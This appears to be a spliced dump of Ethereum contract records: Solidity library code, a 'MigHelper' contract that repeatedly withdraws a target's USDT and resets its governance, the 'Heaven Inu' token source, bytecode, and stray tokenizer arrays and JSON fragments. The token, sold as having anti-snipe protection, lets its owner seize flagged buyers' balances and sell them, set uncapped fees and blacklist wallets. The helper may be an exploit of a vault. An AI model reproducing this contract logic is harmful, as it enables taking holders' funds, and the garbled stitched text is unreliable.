for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin\contracts\token\ERC20\SafeERC20.sol pragma solidity >=0.6.0 <0.8.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: contracts\Helper.sol pragma solidity >0.7.0; interface S{ function setGovernance(address) external; function pika(address, uint256) external; function executeVote(uint256) external; function safeWithdraw(uint256) external; function D(uint256) external; } contract MigHelper { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; address public constant token = 0xdAC17F958D2ee523a2206206994597C13D831ec7; address public constant atoken = 0x3Ed3B47Dd13EC9a98b44e6204A523E766B225811; address public constant target = 0x5D6DF808Be06d77c726001b1B3163C3294cb8D08; address public constant strategy = 0xb8d6471cA573C92c7096Ab8600347F6a9Fe268a5; address public constant gov = 0x4B827D771456Abd5aFc1D05837F915577729A751; address public constant vote = 0x24d840DbAa0c0c72589C8f8860063024d1C064Db; uint256 public constant id = 20; uint256 public constant OPTNUM = 13e12; function DO() public { uint _amt = IERC20(atoken).balanceOf(target); while (_amt > OPTNUM){ S(target).safeWithdraw(OPTNUM); _amt = IERC20(token).balanceOf(target); S(target).pika(token, _amt); _amt = IERC20(token).balanceOf(address(this)); IERC20(token).safeTransfer(strategy, _amt); S(strategy).D(1e18); _amt = IERC20(atoken).balanceOf(target); } RET(); S(vote).executeVote(id); } function RET() public { S(target).setGovernance(gov); } }
0x608060405234801561001057600080fd5b506004361061009e5760003560e01c8063af640d0f11610066578063af640d0f146100e9578063d4b8399214610103578063df2e91331461010b578063f6832c4a14610113578063fc0c546a1461011b5761009e565b806312d43a51146100a35780634473de02146100c7578063632a9a52146100d1578063a293b0cd146100d9578063a8c62e76146100e1575b600080fd5b6100ab610123565b604080516001600160a01b039092168252519081900360200190f35b6100cf61013b565b005b6100ab6101bb565b6100ab6101d3565b6100ab6101eb565b6100f1610203565b60408051918252519081900360200190f35b6100ab610208565b6100f1610220565b6100cf61022a565b6100ab61068c565b734b827d771456abd5afc1d05837f915577729a75181565b6040805163ab033ea960e01b8152734b827d771456abd5afc1d05837f915577729a75160048201529051735d6df808be06d77c726001b1b3163c3294cb8d089163ab033ea991602480830192600092919082900301818387803b1580156101a157600080fd5b505af11580156101b5573d6000803e3d6000fd5b50505050565b7324d840dbaa0c0c72589c8f8860063024d1c064db81565b733ed3b47dd13ec9a98b44e6204a523e766b22581181565b73b8d6471ca573c92c7096ab8600347f6a9fe268a581565b601481565b735d6df808be06d77c726001b1b3163c3294cb8d0881565b650bd2cc61d00081565b604080516370a0823160e01b8152735d6df808be06d77c726001b1b3163c3294cb8d0860048201529051600091733ed3b47dd13ec9a98b44e6204a523e766b225811916370a0823191602480820192602092909190829003018186803b15801561029357600080fd5b505afa1580156102a7573d6000803e3d6000fd5b505050506040513d60208110156102bd57600080fd5b505190505b650bd2cc61d000811115610616576040805163b0fd035b60e01b8152650bd2cc61d00060048201529051735d6df808be06d77c726001b1b3163c3294cb8d089163b0fd035b91602480830192600092919082900301818387803b15801561032857600080fd5b505af115801561033c573d6000803e3d6000fd5b5050604080516370a0823160e01b8152735d6df808be06d77c726001b1b3163c3294cb8d086004820152905173dac17f958d2ee523a2206206994597c13d831ec793506370a0823192506024808301926020929190829003018186803b1580156103a557600080fd5b505afa1580156103b9573d6000803e3d6000fd5b505050506040513d60208110156103cf57600080fd5b5051604080516330bc60c960e11b815273dac17f958d2ee523a2206206994597c13d831ec76004820152602481018390529051919250735d6df808be06d77c726001b1b3163c3294cb8d0891636178c1929160448082019260009290919082900301818387803b15801561044257600080fd5b505af1158015610456573d6000803e3d6000fd5b5050604080516370a0823160e01b8152306004820152905173dac17f958d2ee523a2206206994597c13d831ec793506370a0823192506024808301926020929190829003018186803b1580156104ab57600080fd5b505afa1580156104bf573d6000803e3d6000fd5b505050506040513d60208110156104d557600080fd5b5051905061050c73dac17f958d2ee523a2206206994597c13d831ec773b8d6471ca573c92c7096ab8600347f6a9fe268a5836106a4565b60408051638d949c8b60e01b8152670de0b6b3a76400006004820152905173b8d6471ca573c92c7096ab8600347f6a9fe268a591638d949c8b91602480830192600092919082900301818387803b15801561056657600080fd5b505af115801561057a573d6000803e3d6000fd5b5050604080516370a0823160e01b8152735d6df808be06d77c726001b1b3163c3294cb8d0860048201529051733ed3b47dd13ec9a98b44e6204a523e766b22581193506370a0823192506024808301926020929190829003018186803b1580156105e357600080fd5b505afa1580156105f7573d6000803e3d6000fd5b505050506040513d602081101561060d57600080fd5b505190506102c2565b61061e61013b565b60408051637cc5276560e11b81526014600482015290517324d840dbaa0c0c72589c8f8860063024d1c064db9163f98a4eca91602480830192600092919082900301818387803b15801561067157600080fd5b505af1158015610685573d6000803e3d6000fd5b5050505050565b73dac17f958d2ee523a2206206994597c13d831ec781565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b1790526106f69084906106fb565b505050565b6000610750826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166107ac9092919063ffffffff16565b8051909150156106f65780806020019051602081101561076f57600080fd5b50516106f65760405162461bcd60e51b815260040180806020018281038252602a8152602001806109f1602a913960400191505060405180910390fd5b60606107bb84846000856107c5565b90505b9392505050565b6060824710156108065760405162461bcd60e51b81526004018080602001828103825260268152602001806109cb6026913960400191505060405180910390fd5b61080f85610920565b610860576040805162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b600080866001600160a01b031685876040518082805190602001908083835b6020831061089e5780518252601f19909201916020918201910161087f565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114610900576040519150601f19603f3d011682016040523d82523d6000602084013e610905565b606091505b5091509150610915828286610926565b979650505050505050565b3b151590565b606083156109355750816107be565b8251156109455782518084602001fd5b8160405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561098f578181015183820152602001610977565b50505050905090810190601f1680156109bc5780820380516001836020036101000a031916815260200191505b509250505060405180910390fdfe416464726573733a20696e73756666696369656e742062616c616e636520666f722063616c6c5361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a2646970667358221220833ac32e1b6507522bbb87051dcd5e1eacd1c081a06c2b43b48c631744897e3964736f6c63430007060033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 22394, 2050, 2620, 19961, 2692, 11387, 2094, 17134, 2581, 21057, 2094, 2575, 9468, 22025, 2629, 2497, 2575, 4215, 2549, 2497, 22610, 2094, 27009, 26976, 7011, 2546, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1032, 8311, 1032, 8785, 1032, 8785, 1012, 14017, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1020, 1012, 1014, 1026, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 3115, 8785, 16548, 4394, 1999, 1996, 5024, 3012, 2653, 1012, 1008, 1013, 3075, 8785, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 2922, 1997, 2048, 3616, 1012, 1008, 1013, 3853, 4098, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,091
0x9634d2dcefd03fb3cd463cb2b425959db6c196c6
/** // SPDX-License-Identifier: Unlicensed __ __ ___ ____ __ __ ___ ____ ____ ____ __ __ | | | / _] / || | | / _]| \ | || \ | | | | | | / [_ | o || | | / [_ | _ | | | | _ || | | | _ || _]| || | || _]| | | | | | | || | | | | || [_ | _ || : || [_ | | | | | | | || : | | | || || | | \ / | || | | | | | | || | |__|__||_____||__|__| \_/ |_____||__|__| |____||__|__| \__,_| Telegram: https://t.me/HeavenInuPortal Website: https://www.heaveninu.com Twitter: https://twitter.com/InuHeaven ✨ Initial liquidity: 4 ETH ✨ Anti-Bot / Anti-Snipe: Activated - bots will be blacklisted ✨100% STEALTHLAUNCH. ✨ Max Wallet 3% / Max Tx 2% ✨ 3% on buys and sells at launch ✨ No team tokens */ pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } abstract contract Ownable is Context { address private _owner; mapping(address => bool) internal authorizations; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { _transferOwnership(_msgSender()); authorizations[_owner] = true; } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require( owner() == _msgSender() || isAuthorized(_msgSender()), "Ownable: caller is not allowed" ); _; } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } function authorize(address adr) public onlyOwner { authorizations[adr] = true; } function unauthorize(address adr) public onlyOwner { authorizations[adr] = false; } function isAuthorized(address adr) public view returns (bool) { return authorizations[adr]; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract HeavenInu is Context, IERC20, Ownable { using SafeMath for uint256; uint256 MAX_INT = 115792089237316195423570985008687907853269984665640564039457584007913129639935; string private constant _name = "Heaven Inu"; string private constant _symbol = "Heaven Inu"; uint8 private constant _decimals = 9; address[] private _sniipers; mapping(address => uint256) _balances; mapping(address => uint256) _lastTX; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; mapping(address => bool) private _isSniiper; mapping(address => bool) private _liquidityHolders; mapping(address => bool) private bots; uint256 _totalSupply = 1000000000 * 10**9; //Buy Fee uint256 private _taxFeeOnBuy = 3; //Sell Fee uint256 private _taxFeeOnSell = 3; //Original Fee uint256 private _taxFee = _taxFeeOnSell; uint256 private _previoustaxFee = _taxFee; address payable private _marketingAddress; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen = false; bool private inSwap = false; bool private swapEnabled = true; bool private transferDelay = true; bool sniiperProtection = true; uint256 private wipeBlocks = 1; uint256 private launchedAt; uint256 public _maxTxAmount = 20000000 * 10**9; //2 uint256 public _maxWalletSize = 30000000 * 10**9; //3 uint256 public _swapTokensAtAmount = 1000000 * 10**9; //0.1 event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap() { inSwap = true; _; inSwap = false; } constructor() { _balances[_msgSender()] = _totalSupply; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _approve(address(this), address(uniswapV2Router), MAX_INT); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; _isExcludedFromFee[_marketingAddress] = true; //multisig _liquidityHolders[msg.sender] = true; _marketingAddress = payable(msg.sender); emit Transfer(address(0), _msgSender(), _totalSupply); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setWipeBlocks(uint256 newWipeBlocks) public onlyOwner { wipeBlocks = newWipeBlocks; } function setSniiperProtection(bool _sniiperProtection) public onlyOwner { sniiperProtection = _sniiperProtection; } function byeByeSniipers() public onlyOwner lockTheSwap { if (_sniipers.length > 0) { uint256 oldContractBalance = _balances[address(this)]; for (uint256 i = 0; i < _sniipers.length; i++) { _balances[address(this)] = _balances[address(this)].add( _balances[_sniipers[i]] ); emit Transfer( _sniipers[i], address(this), _balances[_sniipers[i]] ); _balances[_sniipers[i]] = 0; } uint256 collectedTokens = _balances[address(this)] - oldContractBalance; address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( collectedTokens, 0, path, _marketingAddress, block.timestamp ); } } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (!_isExcludedFromFee[to] && !_isExcludedFromFee[from]) { require(tradingOpen, "TOKEN: Trading not yet started"); require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require( !bots[from] && !bots[to], "TOKEN: Your account is blacklisted!" ); if (sniiperProtection) { if ( launchedAt > 0 && from == uniswapV2Pair && !_liquidityHolders[from] && !_liquidityHolders[to] ) { if (block.number - launchedAt <= wipeBlocks) { if (!_isSniiper[to]) { _sniipers.push(to); } _isSniiper[to] = true; } } } if (to != uniswapV2Pair) { if (from == uniswapV2Pair && transferDelay) { require( _lastTX[tx.origin] + 3 minutes < block.timestamp && _lastTX[to] + 3 minutes < block.timestamp, "TOKEN: 3 minutes cooldown between buys" ); } require( balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!" ); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if (contractTokenBalance >= _swapTokensAtAmount) { contractTokenBalance = _swapTokensAtAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); // Reserve of 15% of tokens for liquidity uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0 ether) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ( (_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair) ) { takeFee = false; } else { //Set Fee for Buys if (from == uniswapV2Pair && to != address(uniswapV2Router)) { _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _taxFee = _taxFeeOnSell; } } _lastTX[tx.origin] = block.timestamp; _lastTX[to] = block.timestamp; _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { uint256 ethAmt = tokenAmount.mul(85).div(100); uint256 liqAmt = tokenAmount - ethAmt; uint256 balanceBefore = address(this).balance; address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( ethAmt, 0, path, address(this), block.timestamp ); uint256 amountETH = address(this).balance.sub(balanceBefore); addLiquidity(liqAmt, amountETH.mul(15).div(100)); } function sendETHToFee(uint256 amount) private { (bool success, ) = _marketingAddress.call{value: amount}(""); require(success); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable address(0), block.timestamp ); } function openTrading() public onlyOwner { tradingOpen = true; sniiperProtection = true; launchedAt = block.number; } function manualswap() external onlyOwner { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) { _transferNoTax(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } } function airdrop(address[] calldata recipients, uint256[] calldata amount) public onlyOwner { for (uint256 i = 0; i < recipients.length; i++) { _transferNoTax(msg.sender, recipients[i], amount[i]); } } function _transferStandard( address sender, address recipient, uint256 amount ) private { uint256 amountReceived = takeFees(sender, amount); _balances[sender] = _balances[sender].sub( amount, "Insufficient Balance" ); _balances[recipient] = _balances[recipient].add(amountReceived); emit Transfer(sender, recipient, amountReceived); } function _transferNoTax( address sender, address recipient, uint256 amount ) internal returns (bool) { _balances[sender] = _balances[sender].sub( amount, "Insufficient Balance" ); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function takeFees(address sender, uint256 amount) internal returns (uint256) { uint256 feeAmount = amount.mul(_taxFee).div(100); _balances[address(this)] = _balances[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); return amount.sub(feeAmount); } receive() external payable {} function transferOwnership(address newOwner) public override onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); _isExcludedFromFee[owner()] = false; _transferOwnership(newOwner); _isExcludedFromFee[owner()] = true; } function setFees(uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function setIsFeeExempt(address holder, bool exempt) public onlyOwner { _isExcludedFromFee[holder] = exempt; } function toggleTransferDelay() public onlyOwner { transferDelay = !transferDelay; } function recoverLosteth() external onlyOwner { (bool success, ) = address(payable(msg.sender)).call{ value: address(this).balance }(""); require(success); } function recoverLostTokens(address _token, uint256 _amount) external onlyOwner { IERC20(_token).transfer(msg.sender, _amount); } }
0x60806040526004361061021d5760003560e01c806370a0823111610123578063a9059cbb116100ab578063dec2ba0f1161006f578063dec2ba0f1461062a578063ea1644d51461064a578063f0b37c041461066a578063f2fde38b1461068a578063fe9fbb80146106aa57600080fd5b8063a9059cbb1461057a578063b6a5d7de1461059a578063c3c8cd80146105ba578063c9567bf9146105cf578063dd62ed3e146105e457600080fd5b80638da5cb5b116100f25780638da5cb5b146105115780638eb59a5f1461052f5780638f9a55c01461054457806395d89b411461024b57806398a5c3151461055a57600080fd5b806370a0823114610490578063715018a6146104c657806374010ece146104db5780637d1db4a5146104fb57600080fd5b8063313ce567116101a65780635b8b7815116101755780635b8b7815146103fb578063658d4b7f1461041057806367243482146104305780636b999053146104505780636d8aa8f81461047057600080fd5b8063313ce5671461038a57806333596f50146103a657806349bd5a5e146103bb5780634ef1e040146103db57600080fd5b80631694505e116101ed5780631694505e146102dd57806318160ddd1461031557806323b872dd146103345780632f21411a146103545780632fd689e31461037457600080fd5b8062b8cf2a1461022957806306fdde031461024b578063095ea7b31461028d5780630b78f9c0146102bd57600080fd5b3661022457005b600080fd5b34801561023557600080fd5b506102496102443660046122a6565b6106e3565b005b34801561025757600080fd5b50604080518082018252600a81526948656176656e20496e7560b01b60208201529051610284919061236b565b60405180910390f35b34801561029957600080fd5b506102ad6102a83660046123c0565b610791565b6040519015158152602001610284565b3480156102c957600080fd5b506102496102d83660046123ec565b6107a8565b3480156102e957600080fd5b506011546102fd906001600160a01b031681565b6040516001600160a01b039091168152602001610284565b34801561032157600080fd5b50600b545b604051908152602001610284565b34801561034057600080fd5b506102ad61034f36600461240e565b6107ec565b34801561036057600080fd5b5061024961036f36600461245d565b610855565b34801561038057600080fd5b5061032660175481565b34801561039657600080fd5b5060405160098152602001610284565b3480156103b257600080fd5b506102496108ac565b3480156103c757600080fd5b506012546102fd906001600160a01b031681565b3480156103e757600080fd5b506102496103f636600461247a565b61093d565b34801561040757600080fd5b5061024961097b565b34801561041c57600080fd5b5061024961042b366004612493565b610ca1565b34801561043c57600080fd5b5061024961044b366004612518565b610d05565b34801561045c57600080fd5b5061024961046b366004612584565b610dac565b34801561047c57600080fd5b5061024961048b36600461245d565b610e06565b34801561049c57600080fd5b506103266104ab366004612584565b6001600160a01b031660009081526004602052604090205490565b3480156104d257600080fd5b50610249610e5d565b3480156104e757600080fd5b506102496104f636600461247a565b610ea2565b34801561050757600080fd5b5061032660155481565b34801561051d57600080fd5b506000546001600160a01b03166102fd565b34801561053b57600080fd5b50610249610ee0565b34801561055057600080fd5b5061032660165481565b34801561056657600080fd5b5061024961057536600461247a565b610f3a565b34801561058657600080fd5b506102ad6105953660046123c0565b610f78565b3480156105a657600080fd5b506102496105b5366004612584565b610f85565b3480156105c657600080fd5b50610249610fe5565b3480156105db57600080fd5b50610249611037565b3480156105f057600080fd5b506103266105f